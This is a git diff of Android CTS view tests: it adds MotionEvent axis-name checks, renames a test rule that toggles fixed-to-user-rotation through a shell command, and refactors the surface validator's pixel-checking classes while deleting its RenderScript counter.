+        axes.put(MotionEvent.AXIS_Z, "AXIS_Z");
+        axes.put(MotionEvent.AXIS_RX, "AXIS_RX");
+        axes.put(MotionEvent.AXIS_RY, "AXIS_RY");
+        axes.put(MotionEvent.AXIS_RZ, "AXIS_RZ");
+        axes.put(MotionEvent.AXIS_HAT_X, "AXIS_HAT_X");
+        axes.put(MotionEvent.AXIS_HAT_Y, "AXIS_HAT_Y");
+        axes.put(MotionEvent.AXIS_LTRIGGER, "AXIS_LTRIGGER");
+        axes.put(MotionEvent.AXIS_RTRIGGER, "AXIS_RTRIGGER");
+        axes.put(MotionEvent.AXIS_THROTTLE, "AXIS_THROTTLE");
+        axes.put(MotionEvent.AXIS_RUDDER, "AXIS_RUDDER");
+        axes.put(MotionEvent.AXIS_WHEEL, "AXIS_WHEEL");
+        axes.put(MotionEvent.AXIS_GAS, "AXIS_GAS");
+        axes.put(MotionEvent.AXIS_BRAKE, "AXIS_BRAKE");
+        axes.put(MotionEvent.AXIS_DISTANCE, "AXIS_DISTANCE");
+        axes.put(MotionEvent.AXIS_TILT, "AXIS_TILT");
+        axes.put(MotionEvent.AXIS_SCROLL, "AXIS_SCROLL");
+        axes.put(MotionEvent.AXIS_RELATIVE_X, "AXIS_RELATIVE_X");
+        axes.put(MotionEvent.AXIS_RELATIVE_Y, "AXIS_RELATIVE_Y");
+        axes.put(MotionEvent.AXIS_GENERIC_1, "AXIS_GENERIC_1");
+        axes.put(MotionEvent.AXIS_GENERIC_2, "AXIS_GENERIC_2");
+        axes.put(MotionEvent.AXIS_GENERIC_3, "AXIS_GENERIC_3");
+        axes.put(MotionEvent.AXIS_GENERIC_4, "AXIS_GENERIC_4");
+        axes.put(MotionEvent.AXIS_GENERIC_5, "AXIS_GENERIC_5");
+        axes.put(MotionEvent.AXIS_GENERIC_6, "AXIS_GENERIC_6");
+        axes.put(MotionEvent.AXIS_GENERIC_7, "AXIS_GENERIC_7");
+        axes.put(MotionEvent.AXIS_GENERIC_8, "AXIS_GENERIC_8");
+        axes.put(MotionEvent.AXIS_GENERIC_9, "AXIS_GENERIC_9");
+        axes.put(MotionEvent.AXIS_GENERIC_10, "AXIS_GENERIC_10");
+        axes.put(MotionEvent.AXIS_GENERIC_11, "AXIS_GENERIC_11");
+        axes.put(MotionEvent.AXIS_GENERIC_12, "AXIS_GENERIC_12");
+        axes.put(MotionEvent.AXIS_GENERIC_13, "AXIS_GENERIC_13");
+        axes.put(MotionEvent.AXIS_GENERIC_14, "AXIS_GENERIC_14");
+        axes.put(MotionEvent.AXIS_GENERIC_15, "AXIS_GENERIC_15");
+        axes.put(MotionEvent.AXIS_GENERIC_16, "AXIS_GENERIC_16");
+        // As Axes values definition is not continuous from AXIS_RELATIVE_Y to AXIS_GENERIC_1,
+        // Need to verify MotionEvent.axisToString returns axis name correctly.
+        // Also verify that we are not crashing on those calls, and that the return result on each
+        // is not empty. We do expect the two-way call chain of to/from to get us back to the
+        // original integer value.
+        for (Map.Entry<Integer, String> entry : axes.entrySet()) {
+            final int axis = entry.getKey();
+            String axisToString = MotionEvent.axisToString(entry.getKey());
+            assertFalse(TextUtils.isEmpty(axisToString));
+            assertEquals(axisToString, entry.getValue());
+            assertEquals(axis, MotionEvent.axisFromString(axisToString));
+        }
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/input/OWNERS b/tests/tests/view/src/android/view/cts/input/OWNERS
new file mode 100644
index 0000000..50445ea
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 136048
+lzye@google.com
+michaelwr@google.com
+svv@google.com
\ No newline at end of file
diff --git a/tests/tests/view/src/android/view/cts/util/DisableFixToUserRotationRule.java b/tests/tests/view/src/android/view/cts/util/DisableFixToUserRotationRule.java
deleted file mode 100644
index 43bc27c..0000000
--- a/tests/tests/view/src/android/view/cts/util/DisableFixToUserRotationRule.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.cts.util;
-
-import android.app.UiAutomation;
-import android.os.ParcelFileDescriptor;
-import android.util.Log;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import org.junit.rules.TestRule;
-import org.junit.runner.Description;
-import org.junit.runners.model.Statement;
-
-import java.io.IOException;
-import java.io.InputStreamReader;
-import java.io.Reader;
-
-public class DisableFixToUserRotationRule implements TestRule {
-    private static final String TAG = "DisableFixToUserRotationRule";
-    private static final String COMMAND = "cmd window set-fix-to-user-rotation ";
-
-    private final UiAutomation mUiAutomation;
-
-    public DisableFixToUserRotationRule() {
-        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-    }
-
-    @Override
-    public Statement apply(Statement base, Description description) {
-        return new Statement() {
-            @Override
-            public void evaluate() throws Throwable {
-                executeShellCommandAndPrint(COMMAND + "disabled");
-                try {
-                    base.evaluate();
-                } finally {
-                    executeShellCommandAndPrint(COMMAND + "default");
-                }
-            }
-        };
-    }
-
-    private void executeShellCommandAndPrint(String cmd) {
-        ParcelFileDescriptor pfd = mUiAutomation.executeShellCommand(cmd);
-        StringBuilder builder = new StringBuilder();
-        char[] buffer = new char[256];
-        int charRead;
-        try (Reader reader =
-                     new InputStreamReader(new ParcelFileDescriptor.AutoCloseInputStream(pfd))) {
-            while ((charRead = reader.read(buffer)) > 0) {
-                builder.append(buffer, 0, charRead);
-            }
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        }
-
-        Log.i(TAG, "Command: " + cmd + " Output: " + builder);
-    }
-
-}
diff --git a/tests/tests/view/src/android/view/cts/util/DisableFixedToUserRotationRule.java b/tests/tests/view/src/android/view/cts/util/DisableFixedToUserRotationRule.java
new file mode 100644
index 0000000..17a50ff
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/util/DisableFixedToUserRotationRule.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts.util;
+
+import android.app.UiAutomation;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.Reader;
+
+public class DisableFixedToUserRotationRule implements TestRule {
+    private static final String TAG = "DisableFixToUserRotationRule";
+    private static final String COMMAND = "cmd window fixed-to-user-rotation ";
+
+    private final UiAutomation mUiAutomation;
+
+    private String mOriginalValue;
+
+    public DisableFixedToUserRotationRule() {
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                mOriginalValue = executeShellCommand(COMMAND);
+                executeShellCommandAndPrint(COMMAND + "disabled");
+                try {
+                    base.evaluate();
+                } finally {
+                    executeShellCommandAndPrint(COMMAND + mOriginalValue);
+                }
+            }
+        };
+    }
+
+    private String executeShellCommand(String cmd) {
+        ParcelFileDescriptor pfd = mUiAutomation.executeShellCommand(cmd);
+        StringBuilder builder = new StringBuilder();
+        char[] buffer = new char[256];
+        int charRead;
+        try (Reader reader =
+                     new InputStreamReader(new ParcelFileDescriptor.AutoCloseInputStream(pfd))) {
+            while ((charRead = reader.read(buffer)) > 0) {
+                builder.append(buffer, 0, charRead);
+            }
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+        return builder.toString();
+    }
+
+    private void executeShellCommandAndPrint(String cmd) {
+        Log.i(TAG, "Command: " + cmd + " Output: " + executeShellCommand(cmd));
+    }
+
+}
diff --git a/tests/tests/view/surfacevalidator/Android.bp b/tests/tests/view/surfacevalidator/Android.bp
new file mode 100644
index 0000000..bad8631
--- /dev/null
+++ b/tests/tests/view/surfacevalidator/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_helper_library {
+
+    name: "CtsSurfaceValidatorLib",
+
+    sdk_version: "test_current",
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: [
+        "androidx.test.rules",
+        "cts-wm-util",
+        "ub-uiautomator",
+    ],
+
+}
diff --git a/tests/tests/view/surfacevalidator/Android.mk b/tests/tests/view/surfacevalidator/Android.mk
deleted file mode 100644
index 54129cd..0000000
--- a/tests/tests/view/surfacevalidator/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsSurfaceValidatorLib
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SDK_VERSION := test_current
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    cts-wm-util \
-    ub-uiautomator
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 6e643f8..0362b1a 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -99,6 +99,7 @@
     private CountDownLatch mCountDownLatch;
     private boolean mProjectionServiceBound = false;
     private Point mLogicalDisplaySize = new Point();
+    private long mMinimumCaptureDurationMs = 0;
 
     @Override
     public void onCreate(Bundle savedInstanceState) {
@@ -178,7 +179,7 @@
             unbindService(mConnection);
             mProjectionServiceBound = false;
         }
-        mSettingsSession.close();
+        restoreSettings();
     }
 
     @Override
@@ -203,6 +204,10 @@
         return mOnEmbedded ? 100000 : 50000;
     }
 
+    public void setMinimumCaptureDurationMs(long durationMs) {
+        mMinimumCaptureDurationMs = durationMs;
+    }
+
     public TestResult runTest(ISurfaceValidatorTestCase animationTestCase) throws Throwable {
         TestResult testResult = new TestResult();
         if (mOnWatch) {
@@ -220,7 +225,7 @@
 
         final long timeOutMs = mOnEmbedded ? 125000 : 62500;
         final long captureDuration = animationTestCase.hasAnimation() ?
-            getCaptureDurationMs() : 0;
+                getCaptureDurationMs() : mMinimumCaptureDurationMs;
         final long endCaptureDelayMs = START_CAPTURE_DELAY_MS + captureDuration;
         final long endDelayMs = endCaptureDelayMs + 1000;
 
@@ -260,22 +265,17 @@
                     Context.DISPLAY_SERVICE);
             final Display defaultDisplay = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
             final int rotation = defaultDisplay.getRotation();
-            Display.Mode mode = defaultDisplay.getMode();
 
-            View testAreaView = findViewById(android.R.id.content);
-            Rect boundsToCheck = new Rect(0, 0, testAreaView.getWidth(), testAreaView.getHeight());
-            int[] topLeft = new int[2];
-            testAreaView.getLocationOnScreen(topLeft);
-            boundsToCheck.offset(topLeft[0], topLeft[1]);
-
+            Rect boundsToCheck =
+                    animationTestCase.getBoundsToCheck(findViewById(android.R.id.content));
             if (boundsToCheck.width() < 90 || boundsToCheck.height() < 90) {
                 fail("capture bounds too small to be a fullscreen activity: " + boundsToCheck);
             }
 
             mSurfacePixelValidator = new SurfacePixelValidator2(CapturedActivity.this,
-                mLogicalDisplaySize, boundsToCheck, animationTestCase.getChecker());
-                Log.d("MediaProjection", "Size is " + mLogicalDisplaySize.toString()
-                + ", bounds are " + boundsToCheck.toShortString());
+                    mLogicalDisplaySize, boundsToCheck, animationTestCase.getChecker());
+            Log.d("MediaProjection", "Size is " + mLogicalDisplaySize.toString()
+                    + ", bounds are " + boundsToCheck.toShortString());
             mVirtualDisplay = mMediaProjection.createVirtualDisplay("CtsCapturedActivity",
                     mLogicalDisplaySize.x, mLogicalDisplaySize.y,
                     metrics.densityDpi,
@@ -379,4 +379,12 @@
             }
         }
     }
+
+    public void restoreSettings() {
+        if (mSettingsSession != null) {
+            mSettingsSession.close();
+            mSettingsSession = null;
+        }
+    }
+
 }
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ISurfaceValidatorTestCase.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ISurfaceValidatorTestCase.java
index 037472b..0de06d2 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ISurfaceValidatorTestCase.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ISurfaceValidatorTestCase.java
@@ -16,6 +16,7 @@
 package android.view.cts.surfacevalidator;
 
 import android.content.Context;
+import android.graphics.Rect;
 import android.widget.FrameLayout;
 
 public interface ISurfaceValidatorTestCase {
@@ -28,4 +29,12 @@
     default boolean hasAnimation() {
         return true;
     }
+
+    default Rect getBoundsToCheck(FrameLayout parent) {
+        Rect boundsToCheck = new Rect(0, 0, parent.getWidth(), parent.getHeight());
+        int[] topLeft = new int[2];
+        parent.getLocationOnScreen(topLeft);
+        boundsToCheck.offset(topLeft[0], topLeft[1]);
+        return  boundsToCheck;
+    }
 }
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/MultiFramePixelChecker.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/MultiFramePixelChecker.java
new file mode 100644
index 0000000..9ddb116
--- /dev/null
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/MultiFramePixelChecker.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.view.cts.surfacevalidator;
+
+import android.graphics.Rect;
+import android.media.Image;
+import android.util.Log;
+
+public abstract class MultiFramePixelChecker extends PixelChecker {
+    private static final int PIXEL_STRIDE = 4;
+    private static final String TAG = "PixelChecker";
+
+    private int mMatchingPixelCount = 0;
+    private final PixelColor[] mPixelColors;
+    private int mStartingColorIndex = 0;
+    private boolean mStartingColorFound = false;
+
+    public MultiFramePixelChecker(int[] colors) {
+        mPixelColors = new PixelColor[colors.length];
+        for (int i = 0; i < colors.length; i++) {
+            mPixelColors[i] = new PixelColor(colors[i]);
+        }
+    }
+
+    private PixelColor getColor(long frameNumber) {
+        return mPixelColors[(int) ((frameNumber + mStartingColorIndex) % mPixelColors.length)];
+    }
+
+    private boolean findStartingColor(Image.Plane plane, Rect boundsToCheck) {
+        for (mStartingColorIndex = 0; mStartingColorIndex < mPixelColors.length;
+                mStartingColorIndex++) {
+            int numMatchingPixels = getNumMatchingPixels(mPixelColors[mStartingColorIndex], plane,
+                    boundsToCheck);
+            if (checkPixels(numMatchingPixels, 0 , 0)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    @Override
+    public boolean validatePlane(Image.Plane plane, long frameNumber, Rect boundsToCheck, int width,
+            int height) {
+        if (!mStartingColorFound) {
+            mStartingColorFound = findStartingColor(plane, boundsToCheck);
+            if (mStartingColorFound) {
+                Log.d(TAG, "Starting color found in frame " + frameNumber);
+            } else {
+                Log.d(TAG, "Starting color not found in frame " + frameNumber);
+                return false;
+            }
+        }
+
+        mMatchingPixelCount = getNumMatchingPixels(getColor(frameNumber), plane, boundsToCheck);
+        return checkPixels(mMatchingPixelCount, width, height);
+    }
+}
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelChecker.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelChecker.java
index 821352c..7e1c601 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelChecker.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelChecker.java
@@ -22,7 +22,7 @@
 import java.nio.ByteBuffer;
 
 public abstract class PixelChecker {
-    private int mBlackishPixelCount = 0;
+    private int mMatchingPixelCount = 0;
     private PixelColor mPixelColor;
 
     private static final int PIXEL_STRIDE = 4;
@@ -35,27 +35,10 @@
         mPixelColor = new PixelColor(color);
     }
 
-    PixelColor getColor() {
-        return mPixelColor;
-    }
-
-    public boolean validatePlane(Image.Plane plane, Rect boundsToCheck, int width, int height) {
-        int rowStride = plane.getRowStride();
+    int getNumMatchingPixels(PixelColor expectedColor, Image.Plane plane, Rect boundsToCheck) {
+        int numMatchingPixels = 0;
         ByteBuffer buffer = plane.getBuffer();
-
-        Trace.beginSection("compare and sum");
-
-        final short maxAlpha = getColor().mMaxAlpha;
-        final short minAlpha = getColor().mMinAlpha;
-        final short maxRed = getColor().mMaxRed;
-        final short minRed = getColor().mMinRed;
-        final short maxGreen = getColor().mMaxGreen;
-        final short minGreen = getColor().mMinGreen;
-        final short maxBlue = getColor().mMaxBlue;
-        final short minBlue = getColor().mMinBlue;
-
-        mBlackishPixelCount = 0;
-
+        int rowStride = plane.getRowStride();
         final int bytesWidth = boundsToCheck.width() * PIXEL_STRIDE;
         byte[] scanline = new byte[bytesWidth];
         for (int row = boundsToCheck.top; row < boundsToCheck.bottom; row++) {
@@ -63,30 +46,42 @@
             buffer.get(scanline, 0, scanline.length);
             for (int i = 0; i < bytesWidth; i += PIXEL_STRIDE) {
                 // Format is RGBA_8888 not ARGB_8888
-                final int red = scanline[i + 0] & 0xFF;
-                final int green = scanline[i + 1] & 0xFF;
-                final int blue = scanline[i + 2] & 0xFF;
-                final int alpha = scanline[i + 3] & 0xFF;
-
-                if (alpha <= maxAlpha
-                        && alpha >= minAlpha
-                        && red <= maxRed
-                        && red >= minRed
-                        && green <= maxGreen
-                        && green >= minGreen
-                        && blue <= maxBlue
-                        && blue >= minBlue) {
-                    mBlackishPixelCount++;
+                if (matchesColor(expectedColor, scanline, i)) {
+                    numMatchingPixels++;
                 }
             }
         }
+        return numMatchingPixels;
+    }
+
+    boolean matchesColor(PixelColor expectedColor, byte[] scanline, int offset) {
+        final int red = scanline[offset + 0] & 0xFF;
+        final int green = scanline[offset + 1] & 0xFF;
+        final int blue = scanline[offset + 2] & 0xFF;
+        final int alpha = scanline[offset + 3] & 0xFF;
+
+        return alpha <= expectedColor.mMaxAlpha
+                && alpha >= expectedColor.mMinAlpha
+                && red <= expectedColor.mMaxRed
+                && red >= expectedColor.mMinRed
+                && green <= expectedColor.mMaxGreen
+                && green >= expectedColor.mMinGreen
+                && blue <= expectedColor.mMaxBlue
+                && blue >= expectedColor.mMinBlue;
+    }
+
+
+    public boolean validatePlane(Image.Plane plane, long frameNumber,
+            Rect boundsToCheck, int width, int height) {
+        Trace.beginSection("compare and sum");
+        mMatchingPixelCount = getNumMatchingPixels(mPixelColor, plane, boundsToCheck);
         Trace.endSection();
 
-        return checkPixels(mBlackishPixelCount, width, height);
+        return checkPixels(mMatchingPixelCount, width, height);
     }
 
     public String getLastError() {
-        return "pixel count = " + mBlackishPixelCount + ")";
+        return "pixel count = " + mMatchingPixelCount + ")";
     }
 
     public abstract boolean checkPixels(int matchingPixelCount, int width, int height);
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelColor.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelColor.java
index b50944b..bd37fa0 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelColor.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelColor.java
@@ -59,27 +59,10 @@
     }
 
     private int getMinValue(short color) {
-        if (color - 4 > 0) {
-            return color - 4;
-        }
-        return 0;
+        return Math.max(color - 4, 0);
     }
 
     private int getMaxValue(short color) {
-        if (color + 4 < 0xFF) {
-            return color + 4;
-        }
-        return 0xFF;
-    }
-
-    public void addToPixelCounter(ScriptC_PixelCounter script) {
-        script.set_MIN_ALPHA(mMinAlpha);
-        script.set_MAX_ALPHA(mMaxAlpha);
-        script.set_MIN_RED(mMinRed);
-        script.set_MAX_RED(mMaxRed);
-        script.set_MIN_BLUE(mMinBlue);
-        script.set_MAX_BLUE(mMaxBlue);
-        script.set_MIN_GREEN(mMinGreen);
-        script.set_MAX_GREEN(mMaxGreen);
+        return Math.min(color + 4, 0xFF);
     }
 }
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelCounter.rscript b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelCounter.rscript
deleted file mode 100644
index b4fe3be..0000000
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/PixelCounter.rscript
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#pragma version(1)
-#pragma rs java_package_name(android.view.cts.surfacevalidator)
-#pragma rs reduce(countBlackishPixels) accumulator(countBlackishPixelsAccum) combiner(countBlackishPixelsCombiner)
-
-uchar MIN_ALPHA;
-uchar MAX_ALPHA;
-uchar MIN_RED;
-uchar MAX_RED;
-uchar MIN_GREEN;
-uchar MAX_GREEN;
-uchar MIN_BLUE;
-uchar MAX_BLUE;
-int BOUNDS[4];
-
-static void countBlackishPixelsAccum(int *accum, uchar4 pixel, uint32_t x, uint32_t y) {
-
-    if (pixel.a <= MAX_ALPHA
-            && pixel.a >= MIN_ALPHA
-            && pixel.r <= MAX_RED
-            && pixel.r >= MIN_RED
-            && pixel.g <= MAX_GREEN
-            && pixel.g >= MIN_GREEN
-            && pixel.b <= MAX_BLUE
-            && pixel.b >= MIN_BLUE
-            && x >= BOUNDS[0]
-            && x < BOUNDS[2]
-            && y >= BOUNDS[1]
-            && y < BOUNDS[3]) {
-        *accum += 1;
-    }
-}
-
-static void countBlackishPixelsCombiner(int *accum, const int *other){
-    *accum += *other;
-}
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/RectChecker.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/RectChecker.java
index c97fc0c..e4fd696 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/RectChecker.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/RectChecker.java
@@ -48,7 +48,7 @@
         this(new Target(r, p));
     }
 
-    public boolean validatePlane(Image.Plane plane, Rect boundsToCheck,
+    public boolean validatePlane(Image.Plane plane, long framenumber, Rect boundsToCheck,
             int width, int height) {
         for (Target t : mTargets) {
             if (validatePlaneForTarget(t, plane, boundsToCheck, width, height) == false) {
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfaceControlTestCase.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfaceControlTestCase.java
index 08d67be..069b42c 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfaceControlTestCase.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfaceControlTestCase.java
@@ -17,6 +17,7 @@
 
 import android.animation.ValueAnimator;
 import android.content.Context;
+import android.graphics.Rect;
 import android.view.Gravity;
 import android.view.SurfaceControl;
 import android.view.SurfaceHolder;
@@ -29,7 +30,8 @@
     private final FrameLayout.LayoutParams mLayoutParams;
     private final AnimationFactory mAnimationFactory;
     private final PixelChecker mPixelChecker;
-
+    private final boolean mCheckSurfaceViewBoundsOnly;
+    protected View mSurfaceView;
     private final int mBufferWidth;
     private final int mBufferHeight;
 
@@ -59,7 +61,8 @@
 
     public SurfaceControlTestCase(SurfaceHolder.Callback callback,
             AnimationFactory animationFactory, PixelChecker pixelChecker,
-            int layoutWidth, int layoutHeight, int bufferWidth, int bufferHeight) {
+            int layoutWidth, int layoutHeight, int bufferWidth, int bufferHeight,
+            boolean checkSurfaceViewBoundsOnly) {
         mViewFactory = new SurfaceViewFactory(callback);
         mLayoutParams =
                 new FrameLayout.LayoutParams(layoutWidth, layoutHeight, Gravity.LEFT | Gravity.TOP);
@@ -67,13 +70,15 @@
         mPixelChecker = pixelChecker;
         mBufferWidth = bufferWidth;
         mBufferHeight = bufferHeight;
+        mCheckSurfaceViewBoundsOnly = checkSurfaceViewBoundsOnly;
     }
 
     public SurfaceControlTestCase(ParentSurfaceConsumer psc,
             AnimationFactory animationFactory, PixelChecker pixelChecker,
             int layoutWidth, int layoutHeight, int bufferWidth, int bufferHeight) {
         this(new ParentSurfaceHolder(psc), animationFactory, pixelChecker,
-                layoutWidth, layoutHeight, bufferWidth, bufferHeight);
+                layoutWidth, layoutHeight, bufferWidth, bufferHeight,
+                false /* checkSurfaceViewBoundsOnly*/);
     }
 
     public PixelChecker getChecker() {
@@ -86,6 +91,7 @@
             ParentSurfaceHolder psh = (ParentSurfaceHolder) mViewFactory.mCallback;
             psh.mSurfaceView = (SurfaceView) view;
         }
+        mSurfaceView = view;
 
         mParent = parent;
         mParent.addView(view, mLayoutParams);
@@ -108,6 +114,16 @@
         return mAnimationFactory != null;
     }
 
+    @Override
+    public Rect getBoundsToCheck(FrameLayout parent) {
+        View boundsView = mCheckSurfaceViewBoundsOnly ? mSurfaceView : parent;
+        Rect boundsToCheck = new Rect(0, 0, boundsView.getWidth(), boundsView.getHeight());
+        int[] topLeft = new int[2];
+        boundsView.getLocationOnScreen(topLeft);
+        boundsToCheck.offset(topLeft[0], topLeft[1]);
+        return boundsToCheck;
+    }
+
     private class SurfaceViewFactory implements ViewFactory {
         private SurfaceHolder.Callback mCallback;
 
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfacePixelValidator.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfacePixelValidator.java
deleted file mode 100644
index f1a1660..0000000
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/SurfacePixelValidator.java
+++ /dev/null
@@ -1,157 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.view.cts.surfacevalidator;
-
-import android.content.Context;
-import android.graphics.Bitmap;
-import android.graphics.Point;
-import android.graphics.Rect;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Trace;
-import android.renderscript.Allocation;
-import android.renderscript.Element;
-import android.renderscript.RenderScript;
-import android.renderscript.Type;
-import android.util.Log;
-import android.util.SparseArray;
-import android.view.Surface;
-
-public class SurfacePixelValidator {
-    private static final String TAG = "SurfacePixelValidator";
-
-    /**
-     * Observed that first few frames have errors with SurfaceView placement, so we skip for now.
-     * b/29603849 tracking that issue.
-     */
-    private static final int NUM_FIRST_FRAMES_SKIPPED = 8;
-
-    private static final int MAX_CAPTURED_FAILURES = 5;
-
-    private final int mWidth;
-    private final int mHeight;
-
-    private final HandlerThread mWorkerThread;
-    private final Handler mWorkerHandler;
-
-    private final PixelChecker mPixelChecker;
-
-    private final RenderScript mRS;
-
